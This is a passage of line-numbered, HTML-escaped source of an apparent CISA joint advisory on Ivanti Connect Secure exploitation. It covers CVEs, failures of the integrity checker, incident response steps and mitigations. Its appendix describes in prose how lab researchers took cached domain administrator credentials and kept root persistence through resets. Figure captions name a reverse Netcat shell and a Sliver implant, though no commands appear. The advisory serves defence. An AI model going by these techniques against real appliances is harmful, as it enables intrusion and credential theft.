  1687. &lt;p&gt;After Ivanti provided initial mitigation guidance in early January, threat actors developed a way to bypass those mitigations to deploy BUSHWALK, LIGHTWIRE, and CHAINLINE web shell variants.[&lt;a href="https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation" title="Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation"&gt;2&lt;/a&gt;]&amp;nbsp;Following the actors’ developments, Ivanti disclosed three additional vulnerabilities:&lt;/p&gt;
  1688. &lt;ul&gt;
  1689. &lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21893" title="CVE-2024-21893"&gt;CVE-2024-21893&lt;/a&gt; is a server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) Ivanti Policy Secure (9.x, 22.x), and Ivanti Neurons for ZTA that allows an attacker to access restricted resources without authentication.&lt;/li&gt;
  1690. &lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-22024" title="CVE-2024-22024"&gt;CVE-2024-22024&lt;/a&gt; is an XML vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and ZTA gateways that allows an attacker to access restricted resources without authentication.&lt;/li&gt;
  1691. &lt;li&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21888" title="CVE-2024-21888"&gt;CVE-2024-21888&lt;/a&gt; is a privilege escalation vulnerability found in the web component of Ivanti Connect Secure and Ivanti Policy Secure. This vulnerability allows threat actors to gain elevated privileges to that of an administrator.&lt;/li&gt;
  1692. &lt;/ul&gt;
  1693. &lt;h4&gt;&lt;strong&gt;Observed Threat Actor Activity&lt;/strong&gt;&lt;/h4&gt;
  1694. &lt;p&gt;CISA has responded to multiple incidents related to the above vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways. In these incidents, actors exploited these CVEs for initial access to implant web shells and to harvest credentials stored on the devices. Post-compromise, the actors moved laterally into domain environments and have been observed leveraging tools that are native to the Ivanti appliances—such as &lt;code&gt;freerdp&lt;/code&gt;, &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;telnet&lt;/code&gt;, and &lt;code&gt;nmap&lt;/code&gt; libraries—to expand their access to the domain environment. The result, in some cases, was a full domain compromise.&lt;/p&gt;
  1695. &lt;p&gt;During incident response investigations, CISA identified that Ivanti’s internal and external ICT failed to detect compromise. The organizations leveraged the integrity checker to identify file mismatches in Ivanti devices; however, CISA incident response analysis confirmed that both the internal and external versions of the ICT were not reliable due to the existence of web shells found on systems that had no file mismatches according to the ICTs. Additionally, forensic analysis showed evidence the actors were able to clean up their efforts by overwriting files, time-stomping files, and re-mounting the runtime partition to return the appliance to a “clean state.” This reinforces that ICT scans are not reliable to indicate previous compromise and can result in a false sense of security that the device is free of compromise.&lt;/p&gt;
  1696. &lt;p&gt;As detailed in Appendix A, CISA conducted independent research in a lab environment validating that the ICT is likely insufficient for detecting compromise and that a cyber threat actor may be able to maintain root level persistence despite issuing factory resets and appliance upgrades.&lt;/p&gt;
  1697. &lt;h3&gt;&lt;strong&gt;INDICATORS OF COMPROMISE&lt;/strong&gt;&lt;/h3&gt;
  1698. &lt;p&gt;See Tables 1 – 4 in Appendix B for IOCs related to cyber actors exploiting multiple CVEs related to Ivanti appliances.&lt;/p&gt;
  1699. &lt;p&gt;For additional indicators of compromise, see:&lt;/p&gt;
  1700. &lt;ul&gt;
  1701. &lt;li&gt;Volexity: &lt;a href="https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/" title="Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN"&gt;Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN&lt;/a&gt;&lt;/li&gt;
  1702. &lt;li&gt;Mandiant: &lt;a href="https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day" title="Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation"&gt;Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation&lt;/a&gt;&lt;/li&gt;
  1703. &lt;li&gt;Mandiant: &lt;a href="https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation" title=" Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation"&gt;Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation&lt;/a&gt;&lt;/li&gt;
  1704. &lt;li&gt;Mandiant: &lt;a href="https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence" title="Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts"&gt;Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts&lt;/a&gt;&lt;/li&gt;
  1705. &lt;/ul&gt;
  1706. &lt;p&gt;Memory and disk forensics were used during forensic analysis, combined with the &lt;a href="https://forums.ivanti.com/s/article/KB44755?language=en_US" title="KB44755 - Pulse Connect Secure (PCS) Integrity Assurance"&gt;Integrity Checker Tool&lt;/a&gt;, to identify malicious files on the compromised Ivanti Connect Secure VPN appliance. This advisory provides a list of combined authoring organization IOCs and open source files identified by Volexity via network analysis.&lt;/p&gt;
  1707. &lt;p&gt;&lt;em&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: Some IP addresses in this advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action such as blocking. Activity should not be attributed as malicious without analytical evidence to support it is used at the direction of, or controlled by, threat actors.&lt;/em&gt;&lt;/p&gt;
  1708. &lt;h3&gt;&lt;strong&gt;DETECTION METHODS&lt;/strong&gt;&lt;/h3&gt;
  1709. &lt;h4&gt;&lt;strong&gt;YARA Rules&lt;/strong&gt;&lt;/h4&gt;
  1710. &lt;p&gt;See Appendix D for additional open source YARA rules, provided by Volexity, that may aid network defenders in detecting malicious activity within Ivanti Connect Secure VPN appliances. For more information on detection methods, visit Mandiant’s blog post &lt;a href="https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation" title="Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation"&gt;Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation&lt;/a&gt; or the &lt;a href="https://github.com/volexity/threat-intel/blob/main/2024/2024-01-10%20Ivanti%20Connect%20Secure/indicators/iocs.csv" title="volexity / threat-intel"&gt;Volexity GitHub page&lt;/a&gt;.&lt;/p&gt;
  1711. &lt;h3&gt;&lt;strong&gt;INCIDENT RESPONSE&lt;/strong&gt;&lt;/h3&gt;
  1712. &lt;p&gt;The authoring organizations encourage you to assess your organization’s user interface (UI) software and systems for evidence of compromise and to hunt for malicious activity using signatures outlined within this advisory. If compromise is suspected or detected, organizations should assume that threat actors hold full administrative access and can perform all tasks associated with the Ivanti Connect Secure VPN appliance as well as executing arbitrary code and installing malicious payloads.&lt;/p&gt;
  1713. &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;em&gt;These are vendor-managed appliances and systems may be encrypted with limited access. Thus, collecting artifacts may be limited on some versions of appliances. The authoring organizations recommend investigating associated devices on the network to identify lateral movement in the absence of access to the Secure Connect appliance.&lt;/em&gt;&lt;/p&gt;
  1714. &lt;p&gt;If a potential compromise is detected, organizations should:&lt;/p&gt;
  1715. &lt;ol&gt;
  1716. &lt;li&gt;Quarantine or take offline potentially affected hosts.&lt;/li&gt;
  1717. &lt;li&gt;Reimage compromised hosts.&lt;/li&gt;
  1718. &lt;li&gt;Reset all credentials that may have been exposed during the compromise, including user and service accounts.&lt;/li&gt;
  1719. &lt;li&gt;Identify Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol (LDAP) and AD.&lt;/li&gt;
  1720. &lt;li&gt;Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
  1721. &lt;ul&gt;
  1722. &lt;li&gt;&lt;strong&gt;Note:&lt;/strong&gt; Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.&lt;/li&gt;
  1723. &lt;/ul&gt;
  1724. &lt;/li&gt;
  1725. &lt;li&gt;Report the compromise to FBI Internet Crime Complaint Center (IC3) at IC3.gov, local FBI field Office, or CISA via the agency’s &lt;a href="https://www.cisa.gov/forms/report" title="Incident Reporting System"&gt;Incident Reporting System&lt;/a&gt; or its 24/7 Operations Center (&lt;a href="mailto:report@cisa.gov" title="Report to CISA"&gt;report@cisa.gov&lt;/a&gt; or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (&lt;a href="mailto:SOC@cisecurity.org" title="Report to MS-ISAC"&gt;SOC@cisecurity.org&lt;/a&gt; or 866-787-4722). Organizations outside of the United States should contact their national cyber center. (See the Reporting section.)&lt;/li&gt;
  1726. &lt;/ol&gt;
  1727. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  1728. &lt;p&gt;&lt;em&gt;These mitigations apply to all critical infrastructure organizations and network defenders using Ivanti Connect Secure VPN and Ivanti Policy Secure. The authoring organizations recommend that software manufacturers incorporate Secure by Design principles and tactics into their software development practices. These principles and tactics can limit the impact of exploitation—such as threat actors leveraging newly discovered, unpatched vulnerabilities within Ivanti appliances—thus, strengthening the secure posture for their customers.&lt;/em&gt;&lt;/p&gt;
  1729. &lt;p&gt;&lt;em&gt;For more information on secure by design, see CISA’s &lt;/em&gt;&lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;&lt;em&gt;Secure by Design&lt;/em&gt;&lt;/a&gt;&lt;em&gt; webpage and &lt;/em&gt;&lt;a href="https://www.cisa.gov/resources-tools/resources/secure-by-design-and-default" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software"&gt;&lt;em&gt;joint guide&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;
  1730. &lt;p&gt;The authoring organizations recommend organizations implement the mitigations below to improve your cybersecurity posture based on threat actor activity and to reduce the risk of compromise associated with Ivanti vulnerabilities. These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&lt;/p&gt;
  1731. &lt;ul&gt;
  1732. &lt;li&gt;&lt;strong&gt;As organizations make risk decisions in choosing a VPN, to include decisions regarding continued operation of Ivanti Connect Secure and Policy Secure gateways&lt;/strong&gt;, avoid VPN solutions that use proprietary protocols or non-standard features. VPNs as a class of devices carry some specific risks that a non-expert implementer may trigger (e.g., authentication integration and patching). When choosing a VPN, organizations should consider vendors who:
  1733. &lt;ul&gt;
  1734. &lt;li&gt;Provide a &lt;a href="https://www.cisa.gov/sbom" title="Software Bill of Materials (SBOM)"&gt;Software Bill of Materials (SBOM)&lt;/a&gt;&amp;nbsp;to proactively identify, and enable remediation of, embedded software vulnerabilities, such as deprecated operating systems.&lt;/li&gt;
  1735. &lt;li&gt;Allow a restore from trusted media to establish a root of trust. If the software validation tooling can be modified by the software itself, there is no way to establish a root of trust other than returning the device to the manufacturer (return material authorization [RMA]).&lt;/li&gt;
  1736. &lt;li&gt;Are a CVE Numbering Authority (CNA) so that CVEs are assigned to emerging vulnerabilities in a timely manner.&lt;/li&gt;
  1737. &lt;li&gt;Have a public Vulnerability Disclosure Policy (VDP) to enable security researchers to proactively share and disclose vulnerabilities through coordinated vulnerability disclosure (CVD).&lt;/li&gt;
  1738. &lt;li&gt;Have in place a clear end-of-life policy (EoL) to prepare customers for updating to supported product versions.&lt;/li&gt;
  1739. &lt;/ul&gt;
  1740. &lt;/li&gt;
  1741. &lt;li&gt;&lt;strong&gt;Limit outbound internet connections from SSL VPN appliances&lt;/strong&gt; to restrict access to required services. This will limit the ability of an actor to download tools or malware onto the device or establish outbound connections to command and control (C2) servers.&lt;/li&gt;
  1742. &lt;li&gt;&lt;strong&gt;Ensure SSL VPN appliances&lt;/strong&gt; configured with Active Directory or LDAP authentication use low privilege accounts for the LDAP bind.&lt;/li&gt;
  1743. &lt;li&gt;&lt;strong&gt;Limit SSL VPN connections&lt;/strong&gt; to unprivileged accounts only to help limit the exposure of privileged account credentials.&lt;/li&gt;
  1744. &lt;li&gt;&lt;strong&gt;Keep all operating systems, software, and firmware up to date. &lt;/strong&gt;Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching &lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog"&gt;known exploited vulnerabilities&lt;/a&gt; in internet-facing systems [&lt;a href="https://www.cisa.gov/sites/default/files/2023-03/CISA_CPG_REPORT_v1.0.1_FINAL.pdf" title="CPG Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 1.E&lt;/a&gt;].&lt;/li&gt;
  1745. &lt;li&gt;&lt;strong&gt;Secure remote access tools.&lt;/strong&gt;
  1746. &lt;ul&gt;
  1747. &lt;li&gt;&lt;strong&gt;Implement application controls&lt;/strong&gt; to manage and control execution of software, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.&lt;/li&gt;
  1748. &lt;/ul&gt;
  1749. &lt;/li&gt;
  1750. &lt;li&gt;&lt;strong&gt;Strictly limit the use of Remote Desktop Protocols (RDP) and other remote desktop services&lt;/strong&gt;. If RDP is necessary, rigorously apply best practices, for example [&lt;a href="https://www.cisa.gov/sites/default/files/2023-03/CISA_CPG_REPORT_v1.0.1_FINAL.pdf" title="CPG Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.W&lt;/a&gt;]:
  1751. &lt;ul&gt;
  1752. &lt;li&gt;Audit the network for systems using RDP.&lt;/li&gt;
  1753. &lt;li&gt;Close unused RDP ports.&lt;/li&gt;
  1754. &lt;li&gt;Enforce account lockouts after a specified number of attempts.&lt;/li&gt;
  1755. &lt;li&gt;Apply &lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="Implementing Phishing-Resistant MFA"&gt;phishing-resistant multifactor authentication (MFA)&lt;/a&gt;.&lt;/li&gt;
  1756. &lt;li&gt;Log RDP login attempts.&lt;/li&gt;
  1757. &lt;/ul&gt;
  1758. &lt;/li&gt;
  1759. &lt;li&gt;&lt;strong&gt;Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations &lt;/strong&gt;requiring administrator privileges to reduce the risk of lateral movement by PsExec.&lt;/li&gt;
  1760. &lt;li&gt;&lt;strong&gt;Implement a recovery plan &lt;/strong&gt;to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).&lt;/li&gt;
  1761. &lt;li&gt;&lt;strong&gt;Require all accounts &lt;/strong&gt;with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with&amp;nbsp;&lt;a href="https://pages.nist.gov/800-63-3/" title="Digital Identity Guidelines"&gt;NIST's standards&lt;/a&gt; for developing and managing password policies.
  1762. &lt;ul&gt;
  1763. &lt;li&gt;Use longer passwords consisting of at least 15 characters [&lt;a href="https://www.cisa.gov/sites/default/files/2023-03/CISA_CPG_REPORT_v1.0.1_FINAL.pdf" title="CPG Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.B&lt;/a&gt;].&lt;/li&gt;
  1764. &lt;li&gt;Store passwords in hashed format using industry-recognized password managers.&lt;/li&gt;
  1765. &lt;li&gt;Add password user “salts” to shared login credentials.&lt;/li&gt;
  1766. &lt;li&gt;Avoid reusing passwords [&lt;a href="https://www.cisa.gov/sites/default/files/2023-03/CISA_CPG_REPORT_v1.0.1_FINAL.pdf" title="CPG Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.C&lt;/a&gt;].&lt;/li&gt;
  1767. &lt;li&gt;Implement multiple failed login attempt account lockouts [&lt;a href="https://www.cisa.gov/sites/default/files/2023-03/CISA_CPG_REPORT_v1.0.1_FINAL.pdf" title="CPG Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.G&lt;/a&gt;].&lt;/li&gt;
  1768. &lt;li&gt;Disable password “hints.”&lt;/li&gt;
  1769. &lt;li&gt;Require administrator credentials to install software.&lt;/li&gt;
  1770. &lt;/ul&gt;
  1771. &lt;/li&gt;
  1772. &lt;li&gt;&lt;strong&gt;Review the CISA and NSA joint guidance&lt;/strong&gt; for &lt;a href="https://media.defense.gov/2021/Sep/28/2002863184/-1/-1/0/CSI_SELECTING-HARDENING-REMOTE-ACCESS-VPNS-20210928.PDF" title="Selecting and Hardening Remote Access VPN Solutions"&gt;Selecting and Hardening Remote Access VPN Solutions&lt;/a&gt;.&lt;/li&gt;
  1773. &lt;/ul&gt;
  1774. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  1775. &lt;p&gt;In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how the controls perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  1776. &lt;p&gt;To get started:&lt;/p&gt;
  1777. &lt;ol&gt;
  1778. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (Appendix C).&lt;/li&gt;
  1779. &lt;li&gt;Align your security technologies against the technique.&lt;/li&gt;
  1780. &lt;li&gt;Test your technologies against the technique.&lt;/li&gt;
  1781. &lt;li&gt;Analyze your detection and prevention technologies’ performance.&lt;/li&gt;
  1782. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  1783. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  1784. &lt;/ol&gt;
  1785. &lt;p&gt;The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  1786. &lt;h3&gt;&lt;strong&gt;REPORTING&lt;/strong&gt;&lt;/h3&gt;
  1787. &lt;p&gt;U.S. organizations should report every potential cyber incident to the U.S. government. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI’s&amp;nbsp;&lt;a href="https://www.ic3.gov/" title="Internet Crime Complaint Center (IC3)"&gt;Internet Crime Complaint Center (IC3)&lt;/a&gt;, &lt;a href="https://www.fbi.gov/contact-us/field-offices" title="Field Offices"&gt;local FBI Field Office&lt;/a&gt;, or CISA via the agency’s &lt;a href="https://www.cisa.gov/forms/report" title="Incident Reporting System"&gt;Incident Reporting System&lt;/a&gt; or its 24/7 Operations Center at &lt;a href="mailto:report@cisa.gov?subject=Incident%20Report" title="Report to CISA"&gt;report@cisa.gov&lt;/a&gt; or by calling 1-844-Say-CISA (1-844-729-2472).&lt;/p&gt;
  1788. &lt;p&gt;The FBI encourages organizations to report information concerning suspicious or criminal activity to their &lt;a href="https://www.fbi.gov/contact-us/field-offices" title="Field Offices"&gt;local FBI Field Office&lt;/a&gt;.&lt;/p&gt;
  1789. &lt;p&gt;Australian organizations that have been impacted or require assistance regarding Ivanti compromise, contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to &lt;a href="https://www.cyber.gov.au/" title="Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)"&gt;cyber.gov.au&lt;/a&gt;.&lt;/p&gt;
  1790. &lt;p&gt;UK organizations that have been impacted by Ivanti compromise, should &lt;a href="https://www.gov.uk/guidance/where-to-report-a-cyber-incident" title="Guidance - Where to Report a Cyber Incident"&gt;report&lt;/a&gt; the incident to the National Cyber Security Centre.&lt;/p&gt;
  1791. &lt;p&gt;Organizations outside of the United States or Australia should contact their national cyber center.&lt;/p&gt;
  1792. &lt;h3&gt;&lt;strong&gt;REFERENCES&lt;/strong&gt;&lt;/h3&gt;
  1793. &lt;ol&gt;
  1794. &lt;li&gt;&lt;a href="https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/" title="Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN"&gt;Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN | Volexity&lt;/a&gt;&lt;/li&gt;
  1795. &lt;li&gt;&lt;a href="https://www.volexity.com/blog/2024/01/15/ivanti-connect-secure-vpn-exploitation-goes-global/" title="Ivanti Connect Secure VPN Exploitation Goes Global"&gt;Ivanti Connect Secure VPN Exploitation Goes Global | Volexity&lt;/a&gt;&lt;/li&gt;
  1796. &lt;li&gt;&lt;a href="https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US" title="KB CVE-2023-46805 (Authentication Bypass) &amp;amp; CVE-2024-21887 (Command Injection) for Ivanti Connect Secure and Ivanti Policy Secure Gateways"&gt;KB CVE-2023-46805 (Authentication Bypass) &amp;amp; CVE-2024-21887 (Command Injection) for Ivanti Connect Secure and Ivanti Policy Secure Gateways&lt;/a&gt;&lt;/li&gt;
  1797. &lt;li&gt;&lt;a href="https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation" title="Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation"&gt;Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation | Mandiant&lt;/a&gt;&lt;/li&gt;
  1798. &lt;/ol&gt;
  1799. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  1800. &lt;p&gt;The information in this report is being provided “as is” for informational purposes only. CISA and authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and authoring organizations.&lt;/p&gt;
  1801. &lt;h3&gt;&lt;strong&gt;ACKNOWLEDGEMENTS&lt;/strong&gt;&lt;/h3&gt;
  1802. &lt;p&gt;Volexity, Mandiant, and Ivanti contributed to this advisory.&lt;/p&gt;
  1803. &lt;h3&gt;&lt;strong&gt;VERSION HISTORY&lt;/strong&gt;&lt;/h3&gt;
  1804. &lt;p&gt;February 29, 2024: Initial version.&lt;/p&gt;
  1805. &lt;h3&gt;&lt;strong&gt;APPENDIX A: CISA’S PRODUCT EVALUATION FINDINGS&lt;/strong&gt;&lt;/h3&gt;
  1806. &lt;h4&gt;&lt;strong&gt;Research Approach&lt;/strong&gt;&lt;/h4&gt;
  1807. &lt;p&gt;As part of ongoing efforts to effectively serve the cybersecurity community with actionable insights and guidance, CISA conducted research by using a free and downloadable version of the Ivanti Connect Secure virtual appliance to assess potential attack paths and adversary persistence mechanisms. The virtual appliances were not connected to the internet, and were deployed in a closed virtualized network, with a non-internet connected Active Directory. This research included a variety of tests on version &lt;code&gt;22.3R1 Build 1647&lt;/code&gt;, connected to Active Directory credentials, to leverage the access obtained through &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46805" title="CVE-2023-46805"&gt;CVE-2023-46805&lt;/a&gt;, &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21887" title="CVE-2024-21887"&gt;CVE-2024-21887&lt;/a&gt; and &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2024-21893" title="CVE-2024-21893"&gt;CVE-2024-21893&lt;/a&gt;. Put simply, CISA’s research team wanted to answer the question: “How far could an attacker go if they set were to exploit these CVEs remotely?”&lt;/p&gt;
  1808. &lt;h4&gt;&lt;strong&gt;Persistent Post-Reset and -Upgrade Access&lt;/strong&gt;&lt;/h4&gt;
  1809. &lt;p&gt;Leveraging these vulnerabilities, CISA researchers were able to exfiltrate domain administrator cleartext credentials [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0006/"&gt;TA0006&lt;/a&gt;], gain root-level persistence [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0003/"&gt;TA0003&lt;/a&gt;], and bypass integrity checks used by the Integrity Checker application. CISA’s Incident Response team observed these specific techniques leveraged during the agency’s incident response engagements, along with the native tools and libraries to conduct internal reconnaissance and compromise domains behind the Ivanti appliances. CISA researchers assess that threat actors are able to use the credentials to move deeper into the environment.&lt;/p&gt;
  1810. &lt;p&gt;The ability to exfiltrate domain administrator cleartext credentials, if saved when adding an “Active Directory Authentication server” during setup, was accomplished by using the root-level access obtained from the vulnerabilities to interface directly with the internal server and retrieve the cached credentials as shown in&lt;strong&gt; Figure 4, APPENDIX A&lt;/strong&gt;. Users who currently have active sessions to the appliance could have their base64 encoded active directory cleartext passwords, in addition to the New Technology LAN Manager (NTLM) password hashes, retrieved with the same access, as shown in &lt;strong&gt;Figure 10, APPENDIX A&lt;/strong&gt;. In addition to users with active sessions, users previously authenticated can have base64 encoded active directory plaintext passwords and NTLM hashes harvested from the backups of the data.mdb database files stored on the appliance, as shown in &lt;strong&gt;Figure 15 and 16, APPENDIX A.&lt;/strong&gt;&lt;/p&gt;
  1811. &lt;p&gt;The root-level access allows adversaries to maintain persistence despite issuing factory resets and appliance upgrades while deceiving the provided integrity checkers, creating the illusion of a clean installation. Due to the persistence mechanism being stored on the encrypted partition of the drive and inaccurate integrity check results, it is untenable for network administrators to validate their application has not been compromised without also decrypting the partition and validating against a clean installation of the appliance, which are actions not easily accomplished at present. Without major alterations of the integrity checking process, it is conceivable that new vulnerabilities that afford root-level access to the appliance could also result in root-kit level persistence to the appliance.&lt;/p&gt;
  1812. &lt;p&gt;Below is proof of concept being released by CISA, which demonstrates the capacity of and opportunity for a threat actor to exfiltrate Domain Administrator credentials that were used during appliance configuration:&lt;/p&gt;
  1813.  
  1814.  
  1815.  
  1816. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1817.  
  1818.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%201%20-%20Ivanti%20Domain%20Join%20Configuration%20with%20%E2%80%9CSave%20Credentials%E2%80%9D.png?itok=OLjGUVec" width="1024" height="587" alt="Figure 1: Ivanti Domain Join Configuration with “Save Credentials”"&gt;
  1819.  
  1820.  
  1821.  
  1822. &lt;/div&gt;
  1823.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 1: Ivanti Domain Join Configuration with “Save Credentials”&lt;/em&gt;​​​​​&lt;/figcaption&gt;
  1824.  &lt;/figure&gt;
  1825.  
  1826.  
  1827.  
  1828. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1829.  
  1830.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%202%20-%20CVE-2023-46805%20Exploitation%20for%20Reverse%20Netcat%20Connection.png?itok=rMECD9JP" width="1024" height="423" alt="Figure 2: CVE-2023-46805 Exploitation for Reverse Netcat Connection"&gt;
  1831.  
  1832.  
  1833.  
  1834. &lt;/div&gt;
  1835.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 2: CVE-2023-46805 Exploitation for Reverse Netcat Connection&lt;/em&gt;&lt;/figcaption&gt;
  1836.  &lt;/figure&gt;
  1837.  
  1838.  
  1839.  
  1840. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1841.  
  1842.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%203%20-%20Upgrade%20Netcat%20Connection%20to%20Sliver%20Implant.png?itok=Gn-ayrul" width="1024" height="517" alt="Figure 3: Upgrade Netcat Connection to Sliver Implant"&gt;
  1843.  
  1844.  
  1845.  
  1846. &lt;/div&gt;
  1847.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 3: Upgrade Netcat Connection to Sliver Implant&lt;/em&gt;&lt;/figcaption&gt;
  1848.  &lt;/figure&gt;
  1849.  
  1850.  
  1851.  
  1852. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  1853.  
  1854.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%204%20-%20Leverage%20Sliver%20Implant%20to%20Run%20Pearl%20Script%20for%20Retrieval%20of%20Cached%20Domain%20Administrator%20Credentials.png?itok=yjpntiW3" width="565" height="442" alt="Figure 4: Leverage Sliver Implant to Run Pearl Script for Retrieval of Cached Domain Administrator Credentials"&gt;
  1855.  
  1856.  
  1857.  
  1858. &lt;/div&gt;
